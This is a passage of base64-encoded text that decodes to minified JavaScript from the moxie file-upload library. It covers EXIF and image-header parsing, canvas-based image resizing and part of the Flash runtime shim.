l9LFNSQVRJT05BTDpmdW5jdGlvbihlKXtyZXR1cm4gdGhpcy5TTE9ORyhlKS90aGlzLlNMT05HKGUrNCl9LEFTQ0lJOmZ1bmN0aW9uKGUpe3JldHVybiB0aGlzLkNIQVIoZSl9LFRJRkY6ZnVuY3Rpb24oKXtyZXR1cm4gcnx8bnVsbH0sRVhJRjpmdW5jdGlvbigpe3ZhciBlPW51bGw7aWYoZy5leGlmSUZEKXt0cnl7ZT1uLmNhbGwodGhpcyxnLmV4aWZJRkQsbC5leGlmKX1jYXRjaChlKXtyZXR1cm4gbnVsbH1pZihlLkV4aWZWZXJzaW9uJiYiYXJyYXkiPT09eC50eXBlT2YoZS5FeGlmVmVyc2lvbikpe2Zvcih2YXIgdD0wLGk9IiI7dDxlLkV4aWZWZXJzaW9uLmxlbmd0aDt0KyspaSs9U3RyaW5nLmZyb21DaGFyQ29kZShlLkV4aWZWZXJzaW9uW3RdKTtlLkV4aWZWZXJzaW9uPWl9fXJldHVybiBlfSxHUFM6ZnVuY3Rpb24oKXt2YXIgZT1udWxsO2lmKGcuZ3BzSUZEKXt0cnl7ZT1uLmNhbGwodGhpcyxnLmdwc0lGRCxsLmdwcyl9Y2F0Y2goZSl7cmV0dXJuIG51bGx9ZS5HUFNWZXJzaW9uSUQmJiJhcnJheSI9PT14LnR5cGVPZihlLkdQU1ZlcnNpb25JRCkmJihlLkdQU1ZlcnNpb25JRD1lLkdQU1ZlcnNpb25JRC5qb2luKCIuIikpfXJldHVybiBlfSx0aHVtYjpmdW5jdGlvbigpe2lmKGcuSUZEMSl0cnl7dmFyIGU9bi5jYWxsKHRoaXMsZy5JRkQxLGwudGh1bWIpO2lmKCJKUEVHSW50ZXJjaGFuZ2VGb3JtYXQiaW4gZSlyZXR1cm4gdGhpcy5TRUdNRU5UKGcudGlmZkhlYWRlcitlLkpQRUdJbnRlcmNoYW5nZUZvcm1hdCxlLkpQRUdJbnRlcmNoYW5nZUZvcm1hdExlbmd0aCl9Y2F0Y2goZSl7fXJldHVybiBudWxsfSxzZXRFeGlmOmZ1bmN0aW9uKGUsdCl7cmV0dXJuKCJQaXhlbFhEaW1lbnNpb24iPT09ZXx8IlBpeGVsWURpbWVuc2lvbiI9PT1lKSYmZnVuY3Rpb24oZSx0LGkpe3ZhciBuLHIsbyxzPTA7aWYoInN0cmluZyI9PXR5cGVvZiB0KXt2YXIgYT1sW2UudG9Mb3dlckNhc2UoKV07Zm9yKHZhciB1IGluIGEpaWYoYVt1XT09PXQpe3Q9dTticmVha319bj1nW2UudG9Mb3dlckNhc2UoKSsiSUZEIl0scj10aGlzLlNIT1JUKG4pO2Zvcih2YXIgYz0wO2M8cjtjKyspaWYobz1uKzEyKmMrMix0aGlzLlNIT1JUKG8pPT10KXtzPW8rODticmVha31pZighcylyZXR1cm4hMTt0cnl7dGhpcy53cml0ZShzLGksNCl9Y2F0Y2goZSl7cmV0dXJuITF9cmV0dXJuITB9LmNhbGwodGhpcywiZXhpZiIsZSx0KX0sY2xlYXI6ZnVuY3Rpb24oKXt0LmNsZWFyKCksZT1sPWY9cj1nPXQ9bnVsbH19KSw2NTUwNSE9PXRoaXMuU0hPUlQoMCl8fCJFWElGXDAiIT09dGhpcy5TVFJJTkcoNCw1KS50b1VwcGVyQ2FzZSgpKXRocm93IG5ldyB2LkltYWdlRXJyb3Iodi5JbWFnZUVycm9yLklOVkFMSURfTUVUQV9FUlIpO2lmKHRoaXMubGl0dGxlRW5kaWFuPTE4NzYxPT10aGlzLlNIT1JUKGkpLDQyIT09dGhpcy5TSE9SVChpKz0yKSl0aHJvdyBuZXcgdi5JbWFnZUVycm9yKHYuSW1hZ2VFcnJvci5JTlZBTElEX01FVEFfRVJSKTtnLklGRDA9Zy50aWZmSGVhZGVyK3RoaXMuTE9ORyhpKz0yKSwiRXhpZklGRFBvaW50ZXIiaW4ocj1uLmNhbGwodGhpcyxnLklGRDAsbC50aWZmKSkmJihnLmV4aWZJRkQ9Zy50aWZmSGVhZGVyK3IuRXhpZklGRFBvaW50ZXIsZGVsZXRlIHIuRXhpZklGRFBvaW50ZXIpLCJHUFNJbmZvSUZEUG9pbnRlciJpbiByJiYoZy5ncHNJRkQ9Zy50aWZmSGVhZGVyK3IuR1BTSW5mb0lGRFBvaW50ZXIsZGVsZXRlIHIuR1BTSW5mb0lGRFBvaW50ZXIpLHguaXNFbXB0eU9iaihyKSYmKHI9bnVsbCk7dmFyIG89dGhpcy5MT05HKGcuSUZEMCsxMip0aGlzLlNIT1JUKGcuSUZEMCkrMik7byYmKGcuSUZEMT1nLnRpZmZIZWFkZXIrbyl9cmV0dXJuIGEucHJvdG90eXBlPXMucHJvdG90eXBlLGF9KSxlKCJtb3hpZS9ydW50aW1lL2h0bWw1L2ltYWdlL0pQRUciLFsibW94aWUvY29yZS91dGlscy9CYXNpYyIsIm1veGllL2NvcmUvRXhjZXB0aW9ucyIsIm1veGllL3J1bnRpbWUvaHRtbDUvaW1hZ2UvSlBFR0hlYWRlcnMiLCJtb3hpZS9ydW50aW1lL2h0bWw1L3V0aWxzL0JpbmFyeVJlYWRlciIsIm1veGllL3J1bnRpbWUvaHRtbDUvaW1hZ2UvRXhpZlBhcnNlciJdLGZ1bmN0aW9uKGMsbCxkLGgscCl7cmV0dXJuIGZ1bmN0aW9uKGUpe2Z1bmN0aW9uIHQoZSl7dmFyIHQsaSxuPTA7Zm9yKGV8fChlPXIpO248PWUubGVuZ3RoKCk7KXtpZig2NTQ3Mjw9KHQ9ZS5TSE9SVChuKz0yKSkmJnQ8PTY1NDc1KXJldHVybiBuKz01LHtoZWlnaHQ6ZS5TSE9SVChuKSx3aWR0aDplLlNIT1JUKG4rPTIpfTtpPWUuU0hPUlQobis9Miksbis9aS0yfXJldHVybiBudWxsfXZhciByLGksbixvLHMsYSx1O2lmKDY1NDk2IT09KHI9bmV3IGgoZSkpLlNIT1JUKDApKXRocm93IG5ldyBsLkltYWdlRXJyb3IobC5JbWFnZUVycm9yLldST05HX0ZPUk1BVCk7aT1uZXcgZChlKTt0cnl7bj1uZXcgcChpLmdldCgiYXBwMSIpWzBdKX1jYXRjaChlKXt9bz10LmNhbGwodGhpcyksYy5leHRlbmQodGhpcyx7dHlwZToiaW1hZ2UvanBlZyIsc2l6ZTpyLmxlbmd0aCgpLHdpZHRoOm8mJm8ud2lkdGh8fDAsaGVpZ2h0Om8mJm8uaGVpZ2h0fHwwLHNldEV4aWY6ZnVuY3Rpb24oZSx0KXtyZXR1cm4hIW4mJigib2JqZWN0Ij09PWMudHlwZU9mKGUpP2MuZWFjaChlLGZ1bmN0aW9uKGUsdCl7bi5zZXRFeGlmKHQsZSl9KTpuLnNldEV4aWYoZSx0KSx2b2lkIGkuc2V0KCJhcHAxIixuLlNFR01FTlQoKSkpfSx3cml0ZUhlYWRlcnM6ZnVuY3Rpb24oKXtyZXR1cm4gYXJndW1lbnRzLmxlbmd0aD9pLnJlc3RvcmUoYXJndW1lbnRzWzBdKTppLnJlc3RvcmUoZSl9LHN0cmlwSGVhZGVyczpmdW5jdGlvbihlKXtyZXR1cm4gaS5zdHJpcChlKX0scHVyZ2U6ZnVuY3Rpb24oKXsoZnVuY3Rpb24oKXtuJiZpJiZyJiYobi5jbGVhcigpLGkucHVyZ2UoKSxyLmNsZWFyKCksbz1pPW49cj1udWxsKX0pLmNhbGwodGhpcyl9fSksbiYmKHRoaXMubWV0YT17dGlmZjpuLlRJRkYoKSxleGlmOm4uRVhJRigpLGdwczpuLkdQUygpLHRodW1iOih1PW4udGh1bWIoKSx1JiYocz1uZXcgaCh1KSxhPXQocykscy5jbGVhcigpLGEpPyhhLmRhdGE9dSxhKTpudWxsKX0pfX0pLGUoIm1veGllL3J1bnRpbWUvaHRtbDUvaW1hZ2UvUE5HIixbIm1veGllL2NvcmUvRXhjZXB0aW9ucyIsIm1veGllL2NvcmUvdXRpbHMvQmFzaWMiLCJtb3hpZS9ydW50aW1lL2h0bWw1L3V0aWxzL0JpbmFyeVJlYWRlciJdLGZ1bmN0aW9uKHIsbyxzKXtyZXR1cm4gZnVuY3Rpb24oZSl7ZnVuY3Rpb24gdCgpe24mJihuLmNsZWFyKCksZT1pPW49bnVsbCl9dmFyIG4saTtuPW5ldyBzKGUpLGZ1bmN0aW9uKCl7dmFyIGU9MCx0PTAsaT1bMzUxNTIsMjAwMzksMzMzOCw2NjY2XTtmb3IodD0wO3Q8aS5sZW5ndGg7dCsrLGUrPTIpaWYoaVt0XSE9bi5TSE9SVChlKSl0aHJvdyBuZXcgci5JbWFnZUVycm9yKHIuSW1hZ2VFcnJvci5XUk9OR19GT1JNQVQpfSgpLGk9ZnVuY3Rpb24oKXt2YXIgZSx0O3JldHVybiJJSERSIj09KGU9ZnVuY3Rpb24oZSl7dmFyIHQ7cmV0dXJue2xlbmd0aDp0PW4uTE9ORyhlKSx0eXBlOm4uU1RSSU5HKGUrPTQsNCksc3RhcnQ6ZSs9NCxDUkM6bi5MT05HKGUrdCl9fS5jYWxsKHRoaXMsOCkpLnR5cGU/KHQ9ZS5zdGFydCx7d2lkdGg6bi5MT05HKHQpLGhlaWdodDpuLkxPTkcodCs9NCl9KTpudWxsfS5jYWxsKHRoaXMpLG8uZXh0ZW5kKHRoaXMse3R5cGU6ImltYWdlL3BuZyIsc2l6ZTpuLmxlbmd0aCgpLHdpZHRoOmkud2lkdGgsaGVpZ2h0OmkuaGVpZ2h0LHB1cmdlOmZ1bmN0aW9uKCl7dC5jYWxsKHRoaXMpfX0pLHQuY2FsbCh0aGlzKX19KSxlKCJtb3hpZS9ydW50aW1lL2h0bWw1L2ltYWdlL0ltYWdlSW5mbyIsWyJtb3hpZS9jb3JlL3V0aWxzL0Jhc2ljIiwibW94aWUvY29yZS9FeGNlcHRpb25zIiwibW94aWUvcnVudGltZS9odG1sNS9pbWFnZS9KUEVHIiwibW94aWUvcnVudGltZS9odG1sNS9pbWFnZS9QTkciXSxmdW5jdGlvbihuLHIsbyxzKXtyZXR1cm4gZnVuY3Rpb24odCl7dmFyIGUsaT1bbyxzXTtlPWZ1bmN0aW9uKCl7Zm9yKHZhciBlPTA7ZTxpLmxlbmd0aDtlKyspdHJ5e3JldHVybiBuZXcgaVtlXSh0KX1jYXRjaChlKXt9dGhyb3cgbmV3IHIuSW1hZ2VFcnJvcihyLkltYWdlRXJyb3IuV1JPTkdfRk9STUFUKX0oKSxuLmV4dGVuZCh0aGlzLHt0eXBlOiIiLHNpemU6MCx3aWR0aDowLGhlaWdodDowLHNldEV4aWY6ZnVuY3Rpb24oKXt9LHdyaXRlSGVhZGVyczpmdW5jdGlvbihlKXtyZXR1cm4gZX0sc3RyaXBIZWFkZXJzOmZ1bmN0aW9uKGUpe3JldHVybiBlfSxwdXJnZTpmdW5jdGlvbigpe3Q9bnVsbH19KSxuLmV4dGVuZCh0aGlzLGUpLHRoaXMucHVyZ2U9ZnVuY3Rpb24oKXtlLnB1cmdlKCksZT1udWxsfX19KSxlKCJtb3hpZS9ydW50aW1lL2h0bWw1L2ltYWdlL1Jlc2l6ZXJDYW52YXMiLFtdLGZ1bmN0aW9uKCl7cmV0dXJue3NjYWxlOmZ1bmN0aW9uIGUodCxpLG4pe3ZhciByPXQud2lkdGg+dC5oZWlnaHQ/IndpZHRoIjoiaGVpZ2h0IixvPU1hdGgucm91bmQodFtyXSppKSxzPSExOyJuZWFyZXN0IiE9PW4mJihpPC41fHwyPGkpJiYoaT1pPC41Py41OjIscz0hMCk7dmFyIGEsdSxjLGwsZCxoLHAsbT0odT1pLGM9KGE9dCkud2lkdGgsbD1hLmhlaWdodCxkPU1hdGgucm91bmQoYyp1KSxoPU1hdGgucm91bmQobCp1KSwocD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKSkud2lkdGg9ZCxwLmhlaWdodD1oLHAuZ2V0Q29udGV4dCgiMmQiKS5kcmF3SW1hZ2UoYSwwLDAsYyxsLDAsMCxkLGgpLGE9bnVsbCxwKTtyZXR1cm4gcz9lKG0sby9tW3JdLG4pOm19fX0pLGUoIm1veGllL3J1bnRpbWUvaHRtbDUvaW1hZ2UvSW1hZ2UiLFsibW94aWUvcnVudGltZS9odG1sNS9SdW50aW1lIiwibW94aWUvY29yZS91dGlscy9CYXNpYyIsIm1veGllL2NvcmUvRXhjZXB0aW9ucyIsIm1veGllL2NvcmUvdXRpbHMvRW5jb2RlIiwibW94aWUvZmlsZS9CbG9iIiwibW94aWUvZmlsZS9GaWxlIiwibW94aWUvcnVudGltZS9odG1sNS9pbWFnZS9JbWFnZUluZm8iLCJtb3hpZS9ydW50aW1lL2h0bWw1L2ltYWdlL1Jlc2l6ZXJDYW52YXMiLCJtb3hpZS9jb3JlL3V0aWxzL01pbWUiLCJtb3hpZS9jb3JlL3V0aWxzL0VudiJdLGZ1bmN0aW9uKGUsZyx4LHYsaSx5LF8sRSx3KXtyZXR1cm4gZS5JbWFnZT1mdW5jdGlvbigpe2Z1bmN0aW9uIG8oKXtpZighbCYmIXUpdGhyb3cgbmV3IHguSW1hZ2VFcnJvcih4LkRPTUV4Y2VwdGlvbi5JTlZBTElEX1NUQVRFX0VSUik7cmV0dXJuIGx8fHV9ZnVuY3Rpb24gbigpe3ZhciBlPW8oKTtyZXR1cm4iY2FudmFzIj09ZS5ub2RlTmFtZS50b0xvd2VyQ2FzZSgpP2U6KChsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpKS53aWR0aD1lLndpZHRoLGwuaGVpZ2h0PWUuaGVpZ2h0LGwuZ2V0Q29udGV4dCgiMmQiKS5kcmF3SW1hZ2UoZSwwLDApLGwpfWZ1bmN0aW9uIHIoZSl7cmV0dXJuIHYuYXRvYihlLnN1YnN0cmluZyhlLmluZGV4T2YoImJhc2U2NCwiKSs3KSl9ZnVuY3Rpb24gcyhlKXt2YXIgdCxpPXRoaXM7KHU9bmV3IEltYWdlKS5vbmVycm9yPWZ1bmN0aW9uKCl7YS5jYWxsKHRoaXMpLGkudHJpZ2dlcigiZXJyb3IiLHguSW1hZ2VFcnJvci5XUk9OR19GT1JNQVQpfSx1Lm9ubG9hZD1mdW5jdGlvbigpe2kudHJpZ2dlcigibG9hZCIpfSx1LnNyYz0iZGF0YToiPT1lLnN1YnN0cigwLDUpP2U6KHQ9ZSwiZGF0YToiKyhoLnR5cGV8fCIiKSsiO2Jhc2U2NCwiK3YuYnRvYSh0KSl9ZnVuY3Rpb24gYSgpe2MmJihjLnB1cmdlKCksYz1udWxsKSxkPXU9bD1oPW51bGwsbT0hMX12YXIgdSxjLGwsZCxoLHA9dGhpcyxtPSExLGY9ITA7Zy5leHRlbmQodGhpcyx7bG9hZEZyb21CbG9iOmZ1bmN0aW9uKGUpe3ZhciB0PXRoaXMuZ2V0UnVudGltZSgpLGk9ISgxPGFyZ3VtZW50cy5sZW5ndGgpfHxhcmd1bWVudHNbMV07aWYoIXQuY2FuKCJhY2Nlc3NfYmluYXJ5IikpdGhyb3cgbmV3IHguUnVudGltZUVycm9yKHguUnVudGltZUVycm9yLk5PVF9TVVBQT1JURURfRVJSKTtyZXR1cm4oaD1lKS5pc0RldGFjaGVkKCk/KGQ9ZS5nZXRTb3VyY2UoKSx2b2lkIHMuY2FsbCh0aGlzLGQpKTp2b2lkIGZ1bmN0aW9uKGUsdCl7dmFyIGksbj10aGlzO3JldHVybiB3aW5kb3cuRmlsZVJlYWRlcj8oKGk9bmV3IEZpbGVSZWFkZXIpLm9ubG9hZD1mdW5jdGlvbigpe3QuY2FsbChuLHRoaXMucmVzdWx0KX0saS5vbmVycm9yPWZ1bmN0aW9uKCl7bi50cmlnZ2VyKCJlcnJvciIseC5JbWFnZUVycm9yLldST05HX0ZPUk1BVCl9LHZvaWQgaS5yZWFkQXNEYXRhVVJMKGUpKTp0LmNhbGwodGhpcyxlLmdldEFzRGF0YVVSTCgpKX0uY2FsbCh0aGlzLGUuZ2V0U291cmNlKCksZnVuY3Rpb24oZSl7aSYmKGQ9cihlKSkscy5jYWxsKHRoaXMsZSl9KX0sbG9hZEZyb21JbWFnZTpmdW5jdGlvbihlLHQpe3RoaXMubWV0YT1lLm1ldGEsaD1uZXcgeShudWxsLHtuYW1lOmUubmFtZSxzaXplOmUuc2l6ZSx0eXBlOmUudHlwZX0pLHMuY2FsbCh0aGlzLHQ/ZD1lLmdldEFzQmluYXJ5U3RyaW5nKCk6ZS5nZXRBc0RhdGFVUkwoKSl9LGdldEluZm86ZnVuY3Rpb24oKXt2YXIgZSx0PXRoaXMuZ2V0UnVudGltZSgpO3JldHVybiFjJiZkJiZ0LmNhbigiYWNjZXNzX2ltYWdlX2JpbmFyeSIpJiYoYz1uZXcgXyhkKSksZT17d2lkdGg6bygpLndpZHRofHwwLGhlaWdodDpvKCkuaGVpZ2h0fHwwLHR5cGU6aC50eXBlfHx3LmdldEZpbGVNaW1lKGgubmFtZSksc2l6ZTpkJiZkLmxlbmd0aHx8aC5zaXplfHwwLG5hbWU6aC5uYW1lfHwiIixtZXRhOm51bGx9LGYmJihlLm1ldGE9YyYmYy5tZXRhfHx0aGlzLm1ldGF8fHt9LCFlLm1ldGF8fCFlLm1ldGEudGh1bWJ8fGUubWV0YS50aHVtYi5kYXRhIGluc3RhbmNlb2YgaXx8KGUubWV0YS50aHVtYi5kYXRhPW5ldyBpKG51bGwse3R5cGU6ImltYWdlL2pwZWciLGRhdGE6ZS5tZXRhLnRodW1iLmRhdGF9KSkpLGV9LHJlc2l6ZTpmdW5jdGlvbihlLHQsaSl7dmFyIG49ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiY2FudmFzIik7aWYobi53aWR0aD1lLndpZHRoLG4uaGVpZ2h0PWUuaGVpZ2h0LG4uZ2V0Q29udGV4dCgiMmQiKS5kcmF3SW1hZ2UobygpLGUueCxlLnksZS53aWR0aCxlLmhlaWdodCwwLDAsbi53aWR0aCxuLmhlaWdodCksbD1FLnNjYWxlKG4sdCksIShmPWkucHJlc2VydmVIZWFkZXJzKSl7dmFyIHI9dGhpcy5tZXRhJiZ0aGlzLm1ldGEudGlmZiYmdGhpcy5tZXRhLnRpZmYuT3JpZW50YXRpb258fDE7bD1mdW5jdGlvbihlLHQpe3ZhciBpPU1hdGguUEkvMTgwLG49ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiY2FudmFzIikscj1uLmdldENvbnRleHQoIjJkIiksbz1lLndpZHRoLHM9ZS5oZWlnaHQ7c3dpdGNoKC0xPGcuaW5BcnJheSh0LFs1LDYsNyw4XSk/KG4ud2lkdGg9cyxuLmhlaWdodD1vKToobi53aWR0aD1vLG4uaGVpZ2h0PXMpLHQpe2Nhc2UgMjpyLnRyYW5zbGF0ZShvLDApLHIuc2NhbGUoLTEsMSk7YnJlYWs7Y2FzZSAzOnIudHJhbnNsYXRlKG8scyksci5yb3RhdGUoMTgwKmkpO2JyZWFrO2Nhc2UgNDpyLnRyYW5zbGF0ZSgwLHMpLHIuc2NhbGUoMSwtMSk7YnJlYWs7Y2FzZSA1OnIucm90YXRlKDkwKmkpLHIuc2NhbGUoMSwtMSk7YnJlYWs7Y2FzZSA2OnIucm90YXRlKDkwKmkpLHIudHJhbnNsYXRlKDAsLXMpO2JyZWFrO2Nhc2UgNzpyLnJvdGF0ZSg5MCppKSxyLnRyYW5zbGF0ZShvLC1zKSxyLnNjYWxlKC0xLDEpO2JyZWFrO2Nhc2UgODpyLnJvdGF0ZSgtOTAqaSksci50cmFuc2xhdGUoLW8sMCl9cmV0dXJuIHIuZHJhd0ltYWdlKGUsMCwwLG8scyksbn0obCxyKX10aGlzLndpZHRoPWwud2lkdGgsdGhpcy5oZWlnaHQ9bC5oZWlnaHQsbT0hMCx0aGlzLnRyaWdnZXIoIlJlc2l6ZSIpfSxnZXRBc0NhbnZhczpmdW5jdGlvbigpe3JldHVybiBsfHwobD1uKCkpLGwuaWQ9dGhpcy51aWQrIl9jYW52YXMiLGx9LGdldEFzQmxvYjpmdW5jdGlvbihlLHQpe3JldHVybiBlIT09dGhpcy50eXBlPyhtPSEwLG5ldyB5KG51bGwse25hbWU6aC5uYW1lfHwiIix0eXBlOmUsZGF0YTpwLmdldEFzRGF0YVVSTChlLHQpfSkpOm5ldyB5KG51bGwse25hbWU6aC5uYW1lfHwiIix0eXBlOmUsZGF0YTpwLmdldEFzQmluYXJ5U3RyaW5nKGUsdCl9KX0sZ2V0QXNEYXRhVVJMOmZ1bmN0aW9uKGUpe3ZhciB0PWFyZ3VtZW50c1sxXXx8OTA7aWYoIW0pcmV0dXJuIHUuc3JjO2lmKG4oKSwiaW1hZ2UvanBlZyIhPT1lKXJldHVybiBsLnRvRGF0YVVSTCgiaW1hZ2UvcG5nIik7dHJ5e3JldHVybiBsLnRvRGF0YVVSTCgiaW1hZ2UvanBlZyIsdC8xMDApfWNhdGNoKGUpe3JldHVybiBsLnRvRGF0YVVSTCgiaW1hZ2UvanBlZyIpfX0sZ2V0QXNCaW5hcnlTdHJpbmc6ZnVuY3Rpb24oZSx0KXtpZighbSlyZXR1cm4gZHx8KGQ9cihwLmdldEFzRGF0YVVSTChlLHQpKSksZDtpZigiaW1hZ2UvanBlZyIhPT1lKWQ9cihwLmdldEFzRGF0YVVSTChlLHQpKTtlbHNle3ZhciBpO3R8fCh0PTkwKSxuKCk7dHJ5e2k9bC50b0RhdGFVUkwoImltYWdlL2pwZWciLHQvMTAwKX1jYXRjaChlKXtpPWwudG9EYXRhVVJMKCJpbWFnZS9qcGVnIil9ZD1yKGkpLGMmJihkPWMuc3RyaXBIZWFkZXJzKGQpLGYmJihjLm1ldGEmJmMubWV0YS5leGlmJiZjLnNldEV4aWYoe1BpeGVsWERpbWVuc2lvbjp0aGlzLndpZHRoLFBpeGVsWURpbWVuc2lvbjp0aGlzLmhlaWdodH0pLGQ9Yy53cml0ZUhlYWRlcnMoZCkpLGMucHVyZ2UoKSxjPW51bGwpfXJldHVybiBtPSExLGR9LGRlc3Ryb3k6ZnVuY3Rpb24oKXtwPW51bGwsYS5jYWxsKHRoaXMpLHRoaXMuZ2V0UnVudGltZSgpLmdldFNoaW0oKS5yZW1vdmVJbnN0YW5jZSh0aGlzLnVpZCl9fSl9fSksZSgibW94aWUvcnVudGltZS9mbGFzaC9SdW50aW1lIixbIm1veGllL2NvcmUvdXRpbHMvQmFzaWMiLCJtb3hpZS9jb3JlL3V0aWxzL0VudiIsIm1veGllL2NvcmUvdXRpbHMvRG9tIiwibW94aWUvY29yZS9FeGNlcHRpb25zIiwibW94aWUvcnVudGltZS9SdW50aW1lIl0sZnVuY3Rpb24ocyxhLHUsYyxsKXt2YXIgdD17fTtyZXR1cm4gbC5hZGRDb25zdHJ1Y3RvcigiZmxhc2giLGZ1bmN0aW9uKG4pe3ZhciByLGUsbz10aGlzO249cy5leHRlbmQoe3N3Zl91cmw6YS5zd2ZfdXJsfSxuKSxsLmNhbGwodGhpcyxuLCJmbGFzaCIse2FjY2Vzc19iaW5hcnk6ZnVuY3Rpb24oZSl7cmV0dXJuIGUmJiJicm93c2VyIj09PW8ubW9kZX0sYWNjZXNzX2ltYWdlX2JpbmFyeTpmdW5jdGlvbihlKXtyZXR1cm4gZSYmImJyb3dzZXIiPT09by5tb2RlfSxkaXNwbGF5X21lZGlhOmwuY2FwVGVzdChkKCJtb3hpZS9pbWFnZS9JbWFnZSIpKSxkb19jb3JzOmwuY2FwVHJ1ZSxkcmFnX2FuZF9kcm9wOiExLHJlcG9ydF91cGxvYWRfcHJvZ3Jlc3M6ZnVuY3Rpb24oKXtyZXR1cm4iY2xpZW50Ij09PW8ubW9kZX0scmVzaXplX2ltYWdlOmwuY2FwVHJ1ZSxyZXR1cm5fcmVzcG9uc2VfaGVhZGVyczohMSxyZXR1cm5fcmVzcG9uc2VfdHlwZTpmdW5jdGlvbihlKXtyZXR1cm4hKCJqc29uIiE9PWV8fCF3aW5kb3cuSlNPTil8fCFzLmFycmF5RGlmZihlLFsiIiwidGV4dCIsImRvY3VtZW50Il0pfHwiYnJvd3NlciI9PT1vLm1vZGV9LHJldHVybl9zdGF0dXNfY29kZTpmdW5jdGlvbihlKXtyZXR1cm4iYnJvd3NlciI9PT1vLm1vZGV8fCFzLmFycmF5RGlmZihlLFsyMDAsNDA0XSl9LHNlbGVjdF9maWxlOmwuY2FwVHJ1ZSxzZWxlY3RfbXVsdGlwbGU6bC5jYXBUcnVlLHNlbmRfYmluYXJ5X3N0cmluZzpmdW5jdGlvbihlKXtyZXR1cm4gZSYmImJyb3dzZXIiPT09by5tb2RlfSxzZW5kX2Jyb3dzZXJfY29va2llczpmdW5jdGlvbihlKXtyZXR1cm4gZSYmImJyb3dzZXIiPT09by5tb2RlfSxzZW5kX2N1c3RvbV9oZWFkZXJzOmZ1bmN0aW9uKGUpe3JldHVybiBlJiYiYnJvd3NlciI9PT1vLm1vZGV9LHNlbmRfbXVsdGlwYXJ0OmwuY2FwVHJ1ZSxzbGljZV9ibG9iOmZ1bmN0aW9uKGUpe3JldHVybiBlJiYiYnJvd3NlciI9PT1vLm1vZGV9LHN0cmVhbV91cGxvYWQ6ZnVuY3Rpb24oZSl7cmV0dXJuIGUmJiJicm93c2VyIj09PW8ubW9kZX0sc3VtbW9uX2ZpbGVfZGlhbG9nOiExLHVwbG9hZF9maWxlc2l6ZTpmdW5jdGlvbihlKXtyZXR1cm4gcy5wYXJzZVNpemVTdHIoZSk8PTIwOTcxNTJ8fCJjbGllbnQiPT09by5tb2RlfSx1c2VfaHR0cF9tZXRob2Q6ZnVuY3Rpb24oZSl7cmV0dXJuIXMuYXJyYXlEaWZmKGUsWyJHRVQiLCJQT1NUIl0pfX0se2FjY2Vzc19iaW5hcnk6ZnVuY3Rpb24oZSl7cmV0dXJuIGU/ImJyb3dzZXIiOiJjbGllbnQifSxhY2Nlc3NfaW1hZ2VfYmluYXJ5OmZ1bmN0aW9uKGUpe3JldHVybiBlPyJicm93c2VyIjoiY2xpZW50In0scmVwb3J0X3VwbG9hZF9wcm9ncmVzczpmdW5jdGlvbihlKXtyZXR1cm4gZT8iYnJvd3NlciI6ImNsaWVudCJ9LHJldHVybl9yZXNwb25zZV90eXBlOmZ1bmN0aW9uKGUpe3JldHVybiBzLmFycmF5RGlmZihlLFsiIiwidGV4dCIsImpzb24iLCJkb2N1bWVudCJdKT8iYnJvd3NlciI6WyJjbGllbnQiLCJicm93c2VyIl19LHJldHVybl9zdGF0dXNfY29kZTpmdW5jdGlvbihlKXtyZXR1cm4gcy5hcnJheURpZmYoZSxbMjAwLDQwNF0pPyJicm93c2VyIjpbImNsaWVudCIsImJyb3dzZXIiXX0sc2VuZF9iaW5hcnlfc3RyaW5nOmZ1bmN0aW9uKGUpe3JldHVybiBlPyJicm93c2VyIjoiY2xpZW50In0sc2VuZF9icm93c2VyX2Nvb2tpZXM6ZnVuY3Rpb24oZSl7cmV0dXJuIGU/ImJyb3dzZXIiOiJjbGllbnQifSxzZW5kX2N1c3RvbV9oZWFkZXJzOmZ1bmN0aW9uKGUpe3JldHVybiBlPyJicm93c2VyIjoiY2xpZW50In0sc2xpY2VfYmxvYjpmdW5jdGlvbihlKXtyZXR1cm4gZT8iYnJvd3NlciI6ImNsaWVudCJ9LHN0cmVhbV91cGxvYWQ6ZnVuY3Rpb24oZSl7cmV0dXJuIGU/ImNsaWVudCI6ImJyb3dzZXIifSx1cGxvYWRfZmlsZXNpemU6ZnVuY3Rpb24oZSl7cmV0dXJuIDIwOTcxNTI8PXMucGFyc2VTaXplU3RyKGUpPyJjbGllbnQiOiJicm93c2VyIn19LCJjbGllbnQiKSxmdW5jdGlvbigpe3ZhciB0O3RyeXt0PSh0PW5hdmlnYXRvci5wbHVnaW5zWyJTaG9ja3dhdmUgRmxhc2giXSkuZGVzY3JpcHRpb259Y2F0Y2goZSl7dHJ5e3Q9bmV3IEFjdGl2ZVhPYmplY3QoIlNob2Nrd2F2ZUZsYXNoLlNob2Nrd2F2ZUZsYXNoIikuR2V0VmFyaWFibGUoIiR2ZXJzaW9uIil9Y2F0Y2goZSl7dD0iMC4wIn19cmV0dXJuIHQ9dC5tYXRjaCgvXGQrL2cpLHBhcnNlRmxvYXQodFswXSsiLiIrdFsxXSl9KCk8MTEuMyYmKHRoaXMubW9kZT0hMSkscy5leHRlbmQodGhpcyx7Z2V0U2hpbTpmdW5jdGlvbigpe3JldHVybiB1LmdldCh0aGlzLnVpZCl9LHNoaW1FeGVjOmZ1bmN0aW9uKGUsdCl7dmFyIGk9W10uc2xpY2UuY2FsbChhcmd1bWVudHMsMik7cmV0dXJuIG8uZ2V0U2hpbSgpLmV4ZWModGhpcy51aWQsZSx0LGkpfSxpbml0OmZ1bmN0aW9uKCl7dmFyIGUsdCxpO2k9dGhpcy5nZXRTaGltQ29udGFpbmVyKCkscy5leHRlbmQoaS5zdHlsZSx7cG9zaXRpb246ImFic29sdXRlIix0b3A6Ii04cHgiLGxlZnQ6Ii04cHgiLHdpZHRoOiI5cHgiLGhlaWdodDoiOXB4IixvdmVyZmxvdzoiaGlkZGVuIn0pLGU9JzxvYmplY3QgaWQ9IicrdGhpcy51aWQrJyIgdHlwZT0iYXBwbGljYXRpb24veC1zaG9ja3dhdmUtZmxhc2giIGRhdGE9Iicrbi5zd2ZfdXJsKyciICcsIklFIj09PWEuYnJvd3NlciYmKGUrPSdjbGFzc2lkPSJjbHNpZDpkMjdjZGI2ZS1hZTZkLTExY2YtOTZiOC00NDQ1NTM1NDAwMDAiICcpLGUrPSd3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxMDAlIiBzdHlsZT0ib3V0bGluZTowIj48cGFyYW0gbmFtZT0ibW92aWUiIHZhbHVlPSInK24uc3dmX3VybCsnIiA